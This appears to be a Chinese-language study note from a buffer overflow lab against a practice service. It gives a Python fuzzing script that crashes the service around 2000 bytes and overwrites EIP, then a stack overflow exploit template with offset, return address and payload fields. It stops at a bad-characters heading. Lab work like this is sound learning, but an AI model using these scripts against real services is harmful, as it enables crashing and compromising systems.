環境

Fuzzing

先找出這個題目吃到多少會 overflow,可以使用這個腳本

#!/usr/bin/env python3

import socket, time, sys

ip = "MACHINE_IP"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

跑到 exe crash 掉的時候,就會顯示他是在多少 crash 的,像這一題就是 2000 的時候,查看 EIP 也被蓋掉變成 414141 了。

Crash Replication & Controlling EIP

import socket

ip = "MACHINE_IP"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\\r\\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Finding Bad Characters

因為如果 payload 裡面有 bad characters 就會失敗,所以需要先找出來

Untitled